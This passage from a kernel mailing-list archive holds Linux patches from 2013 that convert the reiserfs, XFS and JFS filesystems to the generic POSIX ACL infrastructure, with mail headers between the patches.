.removexattr = reiserfs_removexattr, .permission = reiserfs_permission, - .get_acl = reiserfs_get_acl, - }; /* @@ -1553,4 +1552,5 @@ const struct inode_operations reiserfs_special_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; diff --git a/fs/reiserfs/xattr.c b/fs/reiserfs/xattr.c index 8a9e2dc..5cdfbd6 100644 --- a/fs/reiserfs/xattr.c +++ b/fs/reiserfs/xattr.c @@ -50,6 +50,7 @@ #include #include #include +#include #define PRIVROOT_NAME ".reiserfs_priv" #define XAROOT_NAME "xattrs" @@ -904,8 +905,8 @@ static const struct xattr_handler *reiserfs_xattr_handlers[] = { &reiserfs_xattr_security_handler, #endif #ifdef CONFIG_REISERFS_FS_POSIX_ACL - &reiserfs_posix_acl_access_handler, - &reiserfs_posix_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index d95c959..a6ce532 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -11,35 +11,19 @@ #include "acl.h" #include -static int reiserfs_set_acl(struct reiserfs_transaction_handle *th, +static int __reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, int type, struct posix_acl *acl); -static int -reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) + +int +reiserfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; int error, error2; struct reiserfs_transaction_handle th; size_t jcreate_blocks; - if (!reiserfs_posixacl(inode->i_sb)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) { - return PTR_ERR(acl); - } else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; + int size = acl ? posix_acl_xattr_size(acl->a_count) : 0; + /* Pessimism: We can't assume that anything from the xattr root up * has been created. */ @@ -51,7 +35,7 @@ reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *valu error = journal_begin(&th, inode->i_sb, jcreate_blocks); reiserfs_write_unlock(inode->i_sb); if (error == 0) { - error = reiserfs_set_acl(&th, inode, type, acl); + error = __reiserfs_set_acl(&th, inode, type, acl); reiserfs_write_lock(inode->i_sb); error2 = journal_end(&th, inode->i_sb, jcreate_blocks); reiserfs_write_unlock(inode->i_sb); @@ -59,29 +43,6 @@ reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *valu error = error2; } - release_and_out: - posix_acl_release(acl); - return error; -} - -static int -reiserfs_posix_acl_get(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (!reiserfs_posixacl(dentry->d_sb)) - return -EOPNOTSUPP; - - acl = reiserfs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - return error; } @@ -221,10 +182,6 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) int size; int retval; - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name = POSIX_ACL_XATTR_ACCESS; @@ -273,7 +230,7 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) * BKL held [before 2.5.x] */ static int -reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, +__reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, int type, struct posix_acl *acl) { char *name; @@ -281,9 +238,6 @@ reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, size_t size = 0; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: name = POSIX_ACL_XATTR_ACCESS; @@ -343,7 +297,7 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, struct inode *dir, struct dentry *dentry, struct inode *inode) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int err = 0; /* ACLs only get applied to files and directories */ @@ -363,37 +317,28 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, goto apply_umask; } - acl = reiserfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); + err = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (err) + return err; + if (default_acl) { + err = __reiserfs_set_acl(th, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } if (acl) { - /* Copy the default ACL to the default ACL of a new directory */ - if (S_ISDIR(inode->i_mode)) { - err = reiserfs_set_acl(th, inode, ACL_TYPE_DEFAULT, - acl); - if (err) - goto cleanup; - } - - /* Now we reconcile the new ACL and the mode, - potentially modifying both */ - err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (err < 0) - return err; - - /* If we need an ACL.. */ - if (err > 0) - err = reiserfs_set_acl(th, inode, ACL_TYPE_ACCESS, acl); - cleanup: + if (!err) + err = __reiserfs_set_acl(th, inode, ACL_TYPE_ACCESS, + acl); posix_acl_release(acl); - } else { - apply_umask: - /* no ACL, apply umask */ - inode->i_mode &= ~current_umask(); } return err; + + apply_umask: + /* no ACL, apply umask */ + inode->i_mode &= ~current_umask(); + return err; } /* This is used to cache the default acl before a new object is created. @@ -442,84 +387,11 @@ int reiserfs_cache_default_acl(struct inode *inode) */ int reiserfs_acl_chmod(struct inode *inode) { - struct reiserfs_transaction_handle th; - struct posix_acl *acl; - size_t size; - int error; - if (IS_PRIVATE(inode)) return 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (get_inode_sd_version(inode) == STAT_DATA_V1 || - !reiserfs_posixacl(inode->i_sb)) { + !reiserfs_posixacl(inode->i_sb)) return 0; - } - acl = reiserfs_get_acl(inode, ACL_TYPE_ACCESS); - if (!acl) - return 0; - if (IS_ERR(acl)) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); - if (error) - return error; - - size = reiserfs_xattr_nblocks(inode, reiserfs_acl_size(acl->a_count)); - reiserfs_write_lock(inode->i_sb); - error = journal_begin(&th, inode->i_sb, size * 2); - reiserfs_write_unlock(inode->i_sb); - if (!error) { - int error2; - error = reiserfs_set_acl(&th, inode, ACL_TYPE_ACCESS, acl); - reiserfs_write_lock(inode->i_sb); - error2 = journal_end(&th, inode->i_sb, size * 2); - reiserfs_write_unlock(inode->i_sb); - if (error2) - error = error2; - } - posix_acl_release(acl); - return error; -} - -static size_t posix_acl_access_list(struct dentry *dentry, char *list, - size_t list_size, const char *name, - size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - if (!reiserfs_posixacl(dentry->d_sb)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; + return posix_acl_chmod(inode, inode->i_mode); } - -const struct xattr_handler reiserfs_posix_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = reiserfs_posix_acl_get, - .set = reiserfs_posix_acl_set, - .list = posix_acl_access_list, -}; - -static size_t posix_acl_default_list(struct dentry *dentry, char *list, - size_t list_size, const char *name, - size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - if (!reiserfs_posixacl(dentry->d_sb)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -const struct xattr_handler reiserfs_posix_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = reiserfs_posix_acl_get, - .set = reiserfs_posix_acl_set, - .list = posix_acl_default_list, -}; -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 023D38020 for ; Wed, 11 Dec 2013 04:45:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 912CAAC00B for ; Wed, 11 Dec 2013 02:45:43 -0800 (PST) X-ASG-Debug-ID: 1386758742-04bdf013221aab10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id mGH7vIO3f244W4Z3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIG-0008PJ-UR; Wed, 11 Dec 2013 10:45:28 +0000 Message-Id: <20131211104528.842960261@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:57 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Dave Chinner Subject: [PATCH 14/18] xfs: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 14/18] xfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0014-xfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758742 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux, and create inodes with the proper mode instead of fixing it up later. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner --- fs/xfs/xfs_acl.c | 151 +++------------------------------------------------- fs/xfs/xfs_acl.h | 9 +--- fs/xfs/xfs_iops.c | 39 +++++++------- fs/xfs/xfs_iops.h | 2 +- fs/xfs/xfs_xattr.c | 4 +- 5 files changed, 34 insertions(+), 171 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 057ae2d..0ecec18 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -124,16 +124,12 @@ struct posix_acl * xfs_get_acl(struct inode *inode, int type) { struct xfs_inode *ip = XFS_I(inode); - struct posix_acl *acl; + struct posix_acl *acl = NULL; struct xfs_acl *xfs_acl; unsigned char *ea_name; int error; int len; - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - trace_xfs_get_acl(ip); switch (type) { @@ -164,10 +160,8 @@ xfs_get_acl(struct inode *inode, int type) * cache entry, for any other error assume it is transient and * leave the cache entry as ACL_NOT_CACHED. */ - if (error == -ENOATTR) { - acl = NULL; + if (error == -ENOATTR) goto out_update_cache; - } goto out; } @@ -183,15 +177,12 @@ out: } STATIC int -xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) +__xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) { struct xfs_inode *ip = XFS_I(inode); unsigned char *ea_name; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: ea_name = SGI_ACL_FILE; @@ -282,131 +273,23 @@ posix_acl_default_exists(struct inode *inode) return xfs_acl_exists(inode, SGI_ACL_DEFAULT); } -/* - * No need for i_mutex because the inode is not yet exposed to the VFS. - */ int -xfs_inherit_acl(struct inode *inode, struct posix_acl *acl) +xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - umode_t mode = inode->i_mode; - int error = 0, inherit = 0; - - if (S_ISDIR(inode->i_mode)) { - error = xfs_set_acl(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto out; - } - - error = __posix_acl_create(&acl, GFP_KERNEL, &mode); - if (error < 0) - return error; - - /* - * If __posix_acl_create returns a positive value we need to - * inherit a permission that can't be represented using the Unix - * mode bits and we actually need to set an ACL. - */ - if (error > 0) - inherit = 1; - - error = xfs_set_mode(inode, mode); - if (error) - goto out; - - if (inherit) - error = xfs_set_acl(inode, ACL_TYPE_ACCESS, acl); - -out: - posix_acl_release(acl); - return error; -} - -int -xfs_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int error; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = xfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; - - error = xfs_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return error; -} - -static int -xfs_xattr_acl_get(struct dentry *dentry, const char *name, - void *value, size_t size, int type) -{ - struct posix_acl *acl; - int error; - - acl = xfs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - error = posix_acl_to_xattr(&init_user_ns, acl, value, size); - posix_acl_release(acl); - - return error; -} - -static int -xfs_xattr_acl_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; int error = 0; - if (flags & XATTR_CREATE) - return -EINVAL; - if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) - return value ? -EACCES : 0; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (!value) + if (!acl) goto set_acl; - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (!acl) { - /* - * acl_set_file(3) may request that we set default ACLs with - * zero length -- defend (gracefully) against that here. - */ - goto out; - } - if (IS_ERR(acl)) { - error = PTR_ERR(acl); - goto out; - } - - error = posix_acl_valid(acl); - if (error) - goto out_release; - error = -EINVAL; if (acl->a_count > XFS_ACL_MAX_ENTRIES(XFS_M(inode->i_sb))) - goto out_release; + return error; if (type == ACL_TYPE_ACCESS) { umode_t mode = inode->i_mode; error = posix_acl_equiv_mode(acl, &mode); if (error <= 0) { - posix_acl_release(acl); acl = NULL; if (error < 0) @@ -415,27 +298,9 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, error = xfs_set_mode(inode, mode); if (error) - goto out_release; + return error; } set_acl: - error = xfs_set_acl(inode, type, acl); - out_release: - posix_acl_release(acl); - out: - return error; + return __xfs_set_acl(inode, type, acl); } - -const struct xattr_handler xfs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = xfs_xattr_acl_get, - .set = xfs_xattr_acl_set, -}; - -const struct xattr_handler xfs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = xfs_xattr_acl_get, - .set = xfs_xattr_acl_set, -}; diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 4016a56..5dc1637 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -60,20 +60,15 @@ struct xfs_acl { #ifdef CONFIG_XFS_POSIX_ACL extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); -extern int xfs_inherit_acl(struct inode *inode, struct posix_acl *default_acl); -extern int xfs_acl_chmod(struct inode *inode); +extern int xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int posix_acl_access_exists(struct inode *inode); extern int posix_acl_default_exists(struct inode *inode); - -extern const struct xattr_handler xfs_xattr_acl_access_handler; -extern const struct xattr_handler xfs_xattr_acl_default_handler; #else static inline struct posix_acl *xfs_get_acl(struct inode *inode, int type) { return NULL; } -# define xfs_inherit_acl(inode, default_acl) 0 -# define xfs_acl_chmod(inode) 0 +# define xfs_set_acl NULL # define posix_acl_access_exists(inode) 0 # define posix_acl_default_exists(inode) 0 #endif /* CONFIG_XFS_POSIX_ACL */ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 27e0e54..f1f0d46 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -123,7 +123,7 @@ xfs_vn_mknod( { struct inode *inode; struct xfs_inode *ip = NULL; - struct posix_acl *default_acl = NULL; + struct posix_acl *default_acl, *acl; struct xfs_name name; int error; @@ -139,14 +139,9 @@ xfs_vn_mknod( rdev = 0; } - if (IS_POSIXACL(dir)) { - default_acl = xfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(default_acl)) - return PTR_ERR(default_acl); - - if (!default_acl) - mode &= ~current_umask(); - } + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + return error; xfs_dentry_to_name(&name, dentry, mode); error = xfs_create(XFS_I(dir), &name, mode, rdev, &ip); @@ -160,21 +155,27 @@ xfs_vn_mknod( goto out_cleanup_inode; if (default_acl) { - error = -xfs_inherit_acl(inode, default_acl); - default_acl = NULL; - if (unlikely(error)) + error = xfs_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + if (error) + goto out_cleanup_inode; + } + if (acl) { + error = xfs_set_acl(inode, acl, ACL_TYPE_ACCESS); + if (error) goto out_cleanup_inode; } - d_instantiate(dentry, inode); + out_free_acl: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); return -error; out_cleanup_inode: xfs_cleanup_inode(dir, inode, dentry); - out_free_acl: - posix_acl_release(default_acl); - return -error; + goto out_free_acl; } STATIC int @@ -683,7 +684,7 @@ xfs_setattr_nonsize( * Posix ACL code seems to care about this issue either. */ if ((mask & ATTR_MODE) && !(flags & XFS_ATTR_NOACL)) { - error = -xfs_acl_chmod(inode); + error = -posix_acl_chmod(inode, inode->i_mode); if (error) return XFS_ERROR(error); } @@ -1052,6 +1053,7 @@ xfs_vn_fiemap( static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1079,6 +1081,7 @@ static const struct inode_operations xfs_dir_inode_operations = { .mknod = xfs_vn_mknod, .rename = xfs_vn_rename, .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1105,6 +1108,7 @@ static const struct inode_operations xfs_dir_ci_inode_operations = { .mknod = xfs_vn_mknod, .rename = xfs_vn_rename, .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1118,7 +1122,6 @@ static const struct inode_operations xfs_symlink_inode_operations = { .readlink = generic_readlink, .follow_link = xfs_vn_follow_link, .put_link = xfs_vn_put_link, - .get_acl = xfs_get_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, diff --git a/fs/xfs/xfs_iops.h b/fs/xfs/xfs_iops.h index d2c5057..1c34e43 100644 --- a/fs/xfs/xfs_iops.h +++ b/fs/xfs/xfs_iops.h @@ -30,7 +30,7 @@ extern void xfs_setup_inode(struct xfs_inode *); /* * Internal setattr interfaces. */ -#define XFS_ATTR_NOACL 0x01 /* Don't call xfs_acl_chmod */ +#define XFS_ATTR_NOACL 0x01 /* Don't call posix_acl_chmod */ extern int xfs_setattr_nonsize(struct xfs_inode *ip, struct iattr *vap, int flags); diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index 9d47907..78ed92a 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -102,8 +102,8 @@ const struct xattr_handler *xfs_xattr_handlers[] = { &xfs_xattr_trusted_handler, &xfs_xattr_security_handler, #ifdef CONFIG_XFS_POSIX_ACL - &xfs_xattr_acl_access_handler, - &xfs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4087829DF8 for ; Wed, 11 Dec 2013 04:45:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0BDDC8F8049 for ; Wed, 11 Dec 2013 02:45:43 -0800 (PST) X-ASG-Debug-ID: 1386758742-04cb6c537d69d4f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id dEK1CvdQIo9P2288 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:43 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIH-0008Pt-39; Wed, 11 Dec 2013 10:45:29 +0000 Message-Id: <20131211104529.004281601@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:58 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Dave Kleikamp Subject: [PATCH 15/18] jfs: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 15/18] jfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0015-jfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386758742 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Copy the scheme I introduced to btrfs many years ago to only use the xattr handler for ACLs, but pass plain attrs straight through. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Kleikamp --- fs/jfs/acl.c | 105 ++++++++++++++++++++------------------------------ fs/jfs/file.c | 4 +- fs/jfs/jfs_acl.h | 7 +--- fs/jfs/jfs_xattr.h | 2 + fs/jfs/namei.c | 1 + fs/jfs/super.c | 2 + fs/jfs/xattr.c | 108 ++++++++++++++++++---------------------------------- 7 files changed, 89 insertions(+), 140 deletions(-) diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index 28d529a..e973b85 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -72,7 +72,7 @@ struct posix_acl *jfs_get_acl(struct inode *inode, int type) return acl; } -static int jfs_set_acl(tid_t tid, struct inode *inode, int type, +static int __jfs_set_acl(tid_t tid, struct inode *inode, int type, struct posix_acl *acl) { char *ea_name; @@ -80,21 +80,22 @@ static int jfs_set_acl(tid_t tid, struct inode *inode, int type, int size = 0; char *value = NULL; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - switch(type) { - case ACL_TYPE_ACCESS: - ea_name = POSIX_ACL_XATTR_ACCESS; - break; - case ACL_TYPE_DEFAULT: - ea_name = POSIX_ACL_XATTR_DEFAULT; - if (!S_ISDIR(inode->i_mode)) - return acl ? -EACCES : 0; - break; - default: - return -EINVAL; + switch (type) { + case ACL_TYPE_ACCESS: + ea_name = POSIX_ACL_XATTR_ACCESS; + rc = posix_acl_equiv_mode(acl, &inode->i_mode); + if (rc < 0) + return rc; + if (rc == 0) + acl = NULL; + break; + case ACL_TYPE_DEFAULT: + ea_name = POSIX_ACL_XATTR_DEFAULT; + break; + default: + return -EINVAL; } + if (acl) { size = posix_acl_xattr_size(acl->a_count); value = kmalloc(size, GFP_KERNEL); @@ -114,65 +115,43 @@ out: return rc; } +int jfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + int rc; + tid_t tid; + + tid = txBegin(inode->i_sb, 0); + mutex_lock(&JFS_IP(inode)->commit_mutex); + rc = __jfs_set_acl(tid, inode, type, acl); + if (!rc) + rc = txCommit(tid, 1, &inode, 0); + txEnd(tid); + mutex_unlock(&JFS_IP(inode)->commit_mutex); + return rc; +} + int jfs_init_acl(tid_t tid, struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; int rc = 0; - if (S_ISLNK(inode->i_mode)) - return 0; + rc = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (rc) + return rc; - acl = jfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); + if (default_acl) { + rc = __jfs_set_acl(tid, inode, ACL_TYPE_DEFAULT, default_acl); + posix_acl_release(default_acl); + } if (acl) { - if (S_ISDIR(inode->i_mode)) { - rc = jfs_set_acl(tid, inode, ACL_TYPE_DEFAULT, acl); - if (rc) - goto cleanup; - } - rc = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (rc < 0) - goto cleanup; /* posix_acl_release(NULL) is no-op */ - if (rc > 0) - rc = jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); -cleanup: + if (!rc) + rc = __jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); posix_acl_release(acl); - } else - inode->i_mode &= ~current_umask(); + } JFS_IP(inode)->mode2 = (JFS_IP(inode)->mode2 & 0xffff0000) | inode->i_mode; return rc; } - -int jfs_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int rc; - tid_t tid; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = jfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (rc) - return rc; - - tid = txBegin(inode->i_sb, 0); - mutex_lock(&JFS_IP(inode)->commit_mutex); - rc = jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); - if (!rc) - rc = txCommit(tid, 1, &inode, 0); - txEnd(tid); - mutex_unlock(&JFS_IP(inode)->commit_mutex); - - posix_acl_release(acl); - return rc; -} diff --git a/fs/jfs/file.c b/fs/jfs/file.c index dd7442c..794da94 100644 --- a/fs/jfs/file.c +++ b/fs/jfs/file.c @@ -19,6 +19,7 @@ #include #include +#include #include #include "jfs_incore.h" #include "jfs_inode.h" @@ -131,7 +132,7 @@ int jfs_setattr(struct dentry *dentry, struct iattr *iattr) mark_inode_dirty(inode); if (iattr->ia_valid & 